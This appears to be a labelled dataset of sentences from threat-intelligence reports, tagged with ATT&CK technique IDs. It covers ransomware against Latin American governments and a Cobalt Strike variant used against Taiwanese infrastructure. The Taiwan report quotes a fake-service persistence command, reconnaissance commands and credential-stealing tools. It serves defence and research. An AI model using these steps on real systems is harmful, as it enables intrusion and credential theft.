{"sentence": "As of this writing, we cannot determine if this attack caused the disruption of critical services provided by the comptroller general, although it is likely that any detected service disruptions on the domain are related to this attack.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "Figure 6: Announcement of an attack on a Peruvian government entity by the BlackByte Ransomware Gang (Source: BlackByte Blog)Cybersecurity Hygiene and Trends in Latin AmericaAlthough most countries in LATAM have adopted a national cybersecurity strategy, there is still much work yet to be done in terms of improving the cyber capacity and security posture in both the private and public sectors; at the moment, only 3 LATAM countries (Brazil, the Dominican Republic, and Mexico) are members of the 30-plus-country ransomware task force.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "The most effective investment would be to give residents in LATAM and the Caribbean in-person or remote access to IT security-oriented schools and training institutions.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "Educational and training institutions in the region simply cannot keep up with the current demand for IT security professionals.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "Investments in education, training, and apprenticeship programs would make the most difference in building capacity, closing the cyber skills gap, and getting more individuals into the cyber talent pipeline.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "Supporting and encouraging younger individuals to seek an education and training within the cyber realm can drastically affect the skills shortage and improve public awareness on cyber threats; the region has been particularly affected by cybercrime and fraud during the pandemic.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "While it is difficult to evaluate countries given their alternative approaches to cybersecurity, some have decided to leave cybersecurity to private firms while others have leaned on government agencies and the military to combat cybercriminals.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "According to the Organization of American States (OAS) cybersecurity observatory, most LATAM countries are in the early stages of cybersecurity development.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "As a result, there is still a lot to accomplish and implement in terms of cyber security policies in Central American and Caribbean countries.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "Nevertheless, countries such as Argentina, Dominican Republic, Ecuador, Panama, and Peru, among others, are making significant efforts to advance their cyber capabilities.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "However, there is a small list of countries with established policies, legal frameworks, institutional capacity, and human capital resources, including Brazil, Uruguay, Colombia, and Chile.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "And although they are still developing, countries such as Brazil, Colombia, Chile, and Mexico have taken the lead in broadening their institutional capacities, including the development of cyber laws, policies, and regulations.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "There is also increased expertise in the private sector, primarily the financial sector, within these nations.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "MitigationsIt is crucial to maintain offline backups of your organizations data and ensure that these backups stay up to date to prevent data loss in the event of a ransomware infection.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "Additionally, we recommend the following mitigations to reduce overall risk and impact:Ransomware often follows a specific pattern of behavior that can be detected with a robust threat intelligence system that is integrated with SIEM platforms.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "Implement YARA rules such as the ones found in Recorded Future Hunting Packages to identify malware via signature-based detection or SNORT rules for endpoint-based detections.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "The IOCs provided throughout this report can be used to proactively query or scan environments for items such as file hashes, registry keys, and IP traffic associated with ransomware.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "Network segmentation can halt the propagation of ransomware through an organizations network.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "This solution involves splitting the larger network into smaller network segments and can be accomplished through firewalls, virtual - local area networks, or other separation techniques.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "Implement intrusion detection / intrusion prevention (IDS/IPS) systems and endpoint detection and response (EDR) systems.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "Provide robust anti-phishing training for employees and staff.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "If remote access solutions are crucial to daily operations, all remote access services and protocols such as Citrix and RDP should be implemented with two-factor or multi-factor authentication.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "Exposed RDP servers are also abused by threat actors to gain initial access into a targets network.", "labels": ["T1190"], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "Threat actors will look for networks that have internet-facing servers running RDP and then exploit vulnerabilities in those servers or use brute force password attacks.", "labels": ["T1110", "T1190"], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "Once inside the network, the threat actors move laterally and install ransomware on target machines, often disabling backups and other protections.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "Through the use of process monitoring, monitor for the execution and command of binaries involved in data destruction activity, such as vssadmin, wbadmin, and bcdedit.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "Monitor for the creation of suspicious file modification activity, particularly large quantities of file modifications in user directories.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "Consider keeping sensitive client information on systems that are disconnected from the internet or segmented from the rest of the corporate network.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "Since ransomware will encrypt all files on a victim system and often will search for directories on the network (such as networked file shares) to also encrypt, moving highly sensitive customer data to a system with no internet access or access to the rest of the network will minimize ransomwares access to those files.", "labels": ["T1083"], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "OutlookRansomware will likely continue to be incorporated into the attack methods of threat actors targeting public and private entities in LATAM due to their availability as ransomware-as-a-service (for non-technical threat actors) and highly successful infection rates.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "Compromised accounts and networks are highly sought after by threat actors and will remain in high demand because they can be used in a number of attack vectors, including but not limited to account takeovers, identity theft, social engineering, credential stuffing, and brute forcing.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "As LATAM is an up-and-coming region whose security posture is not as sophisticated or developed as some other regions for various reasons (geopolitical circumstances and developing infrastructure, among others), threat actors may view LATAM entities as easy targets for harvesting sensitive and financially lucrative accounts via infostealer infections.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "As incident response teams in the region build up their security posture, threat actors are likely to continue to enhance and create infostealer variants to target organizations in LATAM with the intent of harvesting personal and corporate account login details and other important data.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "Executive Summary EclecticIQ researchers identified a malicious web server very likely operated by a Chinese threat actor used to target Taiwanese government entities, including critical infrastructure.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "The command-and-control infrastructure was publicly exposed to the internet.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Based on log and meta data found on the server, EclecticIQ analysts assess with high confidence the threat actor performed offensive cyber operations, including reconnaissance, malware delivery, and post-exploitation against selected targets.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "EclecticIQ analysts identified a modified version of Cobalt Strike known as \"Cobalt Strike Cat\"[1].", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Researchers analyzed these logs and created a detailed map of the adversary's tactics, techniques, and procedures (TTPs).The threat actor primarily focused on exploiting four different remote code execution (RCE) vulnerabilities to target web services and heavily relied on open-source tools, some of which are exclusively available in Chinese underground forums.", "labels": ["T1210"], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "The threat actor also engaged in brute-forcing against the victim's internal web services.", "labels": ["T1110"], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Exposed Threat Actor Infrastructure Reveals", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Offensive Tooling EclecticIQ analysts discovered a web server with the IP address 156[.]251[.]172[.]194, which was accessible to the public.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "The server contained HTTP header data (SimpleHTTP/0.6 Python/3.8.10), indicating the use of a Python library called SIMPLEHTTPSERVER to serve the files and folders detailed in Figure 1. Figure 1 – Screenshot of exposed threat actor infrastructure showing available tools and target lists..", "labels": ["T1071.001"], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "EclecticIQ analysts identified post-exploitation and reconnaissance tools on the server.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Most of the tools are open source.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Based on the event logs within a modified version of Cobalt Strike, analysts have determined with high confidence that Mandarin was set as the default language.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "The identified tools include: Afrog: Vulnerability Scanning for Penetration Testing [2] CIPR:", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Converting domain name to IP address [3] Neo-reGeorg: Reverse proxy tool [4] Nuclei: Vulnerability scanner", "labels": ["T1090"], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "[5] OneForAl: Subdomain collection tool [6] Fscan: Reconnaissance tool", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "[7] LaZagne: Recover stored passwords on a system [8] SharpCheckInfo: Situation awareness tool [9] HackBrowserData: Decrypting and exporting browser data [10] FRP: Reverse proxy tool", "labels": ["T1090", "T1140"], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "[11] ONE-FOX: Collection of Penetration Tools", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "[12] Targeted Attack Lifecycle The Targeted Attack Lifecycle is a methodology to map adversary tactics, techniques, and procedures (TTPs) in a structed way.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "EclecticIQ analysts mapped identified TTPs to each phase of the life cycle (Figure 2) - beginning with the threat actor´s infrastructure (156[.]251[.]172[.]194) and continuing with the different tools used by the actor to compromise systems and perform lateral movement.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Figure 2 – Targeted Attack Lifecycle of the threat actor.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Reconnaissance of Exposed Webservices The threat actor utilized reconnaissance tools to scan and fingerprint systems exposed to the internet.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "In some cases, the actor used a preconfigured (hard-coded) target lists, which is showing the intended victims.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "EclecticIQ analysts validated many of these targets as real and existing systems.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Figure 3 shows an example of a target list created by the attacker, which mainly contains Taiwanese government entities.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "This list served as input for OneForAll - a subdomain enumeration tool.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Figure 3 – Files inside the exposed infrastructure under the OneForAll file path.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "After enumerating subdomains of the associated victim network, the threat actor uses automated vulnerability scanning tools including Nuclei and Afrog to identify potentially exploitable systems.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Figure 4 shows final report logs from Afrog and Nuclei found on the attacker infrastructure.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "The threat actor utilized virtual sandboxes named \"Test\" to demonstrate cyber-attacks before executing them on a real victim device.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "The IP addresses observed in these virtual sandboxes are tied to the same computer name, identified as DESKTOP-0TBCAC4.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "The adversary also demonstrated an interest in exploring the public-facing network surface of public transport and utilities industries.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Figure 4 – Completed reconnaissance and vulnerability scans.", "labels": ["T1190"], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Initial Compromise Through Exploiting Publicly Facing Applications", "labels": ["T1190"], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "The threat actor utilized automated vulnerability discovery and reconnaissance techniques to scan a given target list, refine the selection and identify potential exploitable systems before commencing the attack.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Based on evidence obtained from the bash history data, EclecticIQ researchers observed that the threat actor primarily focuses on four different known remote code execution (RCE) vulnerabilities during their operations:• CVE-2023-21839 Oracle WebLogic Server RCE", "labels": ["T1190"], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "[13]• CVE-2021-3129 Laravel debug mode RCE", "labels": ["T1190"], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "[14]• CVE-2020-2551 Oracle WebLogic RCE", "labels": ["T1190"], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "[15]• CVE-2021-44228 Apache Log4j", "labels": ["T1190"], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "[16] Figure 5 – BASH history logs of from the threat actor’s system showing exploitation of CVE-2020-2551.", "labels": ["T1190"], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Establish Foothold by Modified Version of Cobalt Strike The threat actor utilized a modified version of Cobalt Strike 4.5, dubbed \"Cobalt Strike Cat\", to create a dedicated communication channel from the victim system and perform evasive post-exploitation steps.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Cobalt Strike Cat was initially shared on a Chinese-speaking cybersecurity forum called t00ls[.]com, with a link to a GitHub repository and was distributed inside an encrypted ZIP folder.", "labels": ["T1027"], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Only registered users of t00ls[.]com could obtain the decryption key for the ZIP folder and access the tool.", "labels": ["T1140"], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Notably, t00ls[.]com is a private forum that can only be accessed by individuals who possess invitation codes for the site.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Figure 6 – “I want to become a master hacker”.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Publication of Cobalt Strike Cat on t00ls[.]com.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Figure 7 – Example user interface of Cobalt Strike Cat shared on a GitHub repository.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Notable features of Cobalt Strike Cat include: 1.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Evasion techniques to specially bypass Anti-Virus solution “360 Total Security”, which is a Beijing, China-registered internet security company mostly used in Asia-Pacific region.2.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Option to use Google 2FA key during login to the command-and-control server as an attacker for further operational security.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "3. Modified stager designed to evade signature-based detection during malware execution.4.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Patch for publicly available Cobalt Strike vulnerability tracked as CVE-2022-39197 [17].Figure 8 shows a small portion of Cobalt Strike Cat logs from the attacker´s infrastructure.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "According to log data, a reverse shell was established from the remote victim device as SYSTEM-level privileges using a process named \"bea.exe\".", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "The attacker then changed the Cobalt Strike Cat beaconing frequency for behaviour-based evasion by sending the \"sleep 10\" command to the infected host and executed the \"tasklist /SVC\" command to list all running processes on the victim device.", "labels": ["T1057"], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Figure 8 – Sample of Cobalt Strike Cat logs.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "The result of the \"tasklist\" command shows that the victim was using a commercial software called SONAS", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "[18].", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "SONAS is an application for remote monitoring and control of Internet of Things (IoT) hardware devices.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Analysts assess with high confidence that the compromised device was used to access CCTV cameras of the Directorate General of Highways in Taiwan.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Analysis showed that the victim IP address was publicly serving a web service that contained a phpMyAdmin database.", "labels": ["T1190"], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "The database used a weak password and was susceptible to brute-force attacks.", "labels": ["T1110"], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Figure 9 shows the redacted victim DNS address, confirming that the web service was used by the Taiwanese government.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "The IP addresses and the computer name matched the victim device name in the Cobalt Strike Cat logs.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Figure 9 – PHPINFO page from victim web service.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Internal Reconnaissance to Identify Lateral Movement Opportunities EclecticIQ researchers observed multiple internal network reconnaissance attempts after initial compromise.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "These attempts are primarily performed with an open-source automated vulnerability scanning and brute forcing tool called FSCAN.", "labels": ["T1110"], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Figure 10 showed that the threat actor used FSCAN (named as f.exe) to find possible vulnerabilities on internal network of infected device which can be used by threat actor to perform lateral movement: Figure 10 – Usage of FSCAN on a victim’s network.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "EclecticIQ researchers observed that the threat actor used the Windows command-line arguments to perform general reconnaissance against infected devices.", "labels": ["T1059.003"], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "The following commands were identified: Command Line Argument Description query user || qwinsta Display information about logged-on users and their sessions.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "net user Displays information about user accounts.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "findstr /s /i", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "\"DBPath\" *.* Used to search for the string \"DBPath\" in all files within the current directory and its subdirectories. arp –a Address resolutions for remote systems. netsh wlan show profiles Display a list of all the wireless network profiles.", "labels": ["T1083"], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "dir %APPDATA%\\Microsoft\\Windows\\Recent List of recently opened files and folders on the computer.", "labels": ["T1083"], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Figure 11 shows some examples of commands executed by the threat actor on an infected host: Figure 11 – Executed reconnaissance commands on infected host.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Escalate Privileges with Stolen Credentials The threat actor uses stolen passwords from valid accounts as the primary vector for privilege escalation.", "labels": ["T1078"], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "The actor deployed various credential stealing techniques against compromised hosts to obtain user account passwords in NTLM hash format and saved credentials from web browser.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "These passwords would allow the threat actor to escalate privileges using valid accounts if the accounts were privileged .", "labels": ["T1078"], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "The Cobalt Strike Cat beacon logs (Figure 12) show that the actor uploaded LaZagne onto the infected device for credential harvesting purposes and deleted the LaZagne binary after execution to avoid detection from the user's side.", "labels": ["T1070.004"], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "EclecticIQ researchers observed LaZagne uploaded from the attacker device (“C:\\Users\\Test\\Desktop\\ONE-FOX集成工具箱_V1.0魔改版_by狐狸\\gui_other\\Cobalt_Strike_4.5\\plugin\\TaoWu\\script\\lazagne.exe”) to the victim device file path C:\\Windows\\Temp.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "The actor leveraged ONE-FOX - a collection of pentest tools - to copy binaries from actor´s system to the victim. Figure 12 – Threat actor successfully obtained user account credentials in NTLM format.", "labels": ["T1570"], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "The threat actor utilized an open-source tool called HackBrowserData to export victim browser data, including passwords, history, cookies, bookmarks and download records from several web browsers.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Figure 13 – Execution of Hack-browser-data on infected host.", "labels": ["T1543.003"], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Maintain Presence via Windows Service Installation To establish persistent remote access on the victim device, the threat actor abused Windows services to install modified version of Cobalt Strike payload.", "labels": ["T1543.003"], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Windows services ran with the highest privilege, NT AUTHORITY\\SYSTEM and execute the malware automatically during system startup, allowing for remote access to the victim device with persistence.", "labels": ["T1543.003", "T1569.002"], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Malicious service installation is accomplished via the below command line argument: sc create WindowsUpdate binPath= C:\\Windows\\Temp\\svchost.exe start= auto obj= LocalSystem DisplayName= windowsupdate When this command is executed on remote victim device, it will install a fake Windows service called “windowsupdate”.", "labels": ["T1543.003", "T1569.002"], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "This service executes a malicious binary (Cobalt Strike Cat payload) under “C:\\Windows\\Temp\\svchost.exe” every time the victim device is started.", "labels": ["T1569.002"], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Figure 14 – Installation of malicious Windows service.", "labels": ["T1543.003"], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Move Laterally", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Trough Reverse Proxy The threat actor utilized open-source reverse proxy tools to expose local devices located behind a NAT or firewall, to the Internet.", "labels": ["T1090"], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "This allowed the attacker to conduct vulnerability scans, general reconnaissance, and brute-force attacks on systems attached to the internal network of the infected device.", "labels": ["T1090", "T1110"], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Threat actor uploaded the fast reverse proxy (FRP) binary to the \"C:\\Windows\\Temp\" file path and then executed it on victim machine.", "labels": ["T1090"], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Figure 15 displays the reverse SOCKS proxy activity on the infected device using the open-source tool FRP.", "labels": ["T1090"], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "FRP received a command-line argument from attacker used to establish a connection from the adversary-controlled infrastructure (156[.]251[.]172[.]194) over port 2333.", "labels": ["T1059.003"], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Figure 15 – Execution of FRP reverse SOCKS proxy on infected host.", "labels": ["T1090"], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "After establishing the reverse SOCKS proxy connection, the threat actor performed internal reconnaissance and brute forcing attempts on some of the internal FTP servers inside victim network. Victimology and Targeting Patterns EclecticIQ researchers assess with moderate confidence that the primary targets of the threat actor are Taiwanese government entities and organizations in the critical infrastructures sector.", "labels": ["T1090", "T1110"], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Logs obtained from attacker infrastructure, such as target lists and metadata show that organizations in Taiwan account for the largest proportion of targets.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "According to event logs, on 02/09 at 08:51:43 UTC, EclecticIQ researchers have concluded with high confidence that the actor compromised an IOT device in the network of the Directorate General of Highways, MOTC in Taiwan", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "[19].", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "After this initial comprise the threat actor performed reconnaissance and credential harvesting from infected host, very likely to perform lateral movement as an end goal.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
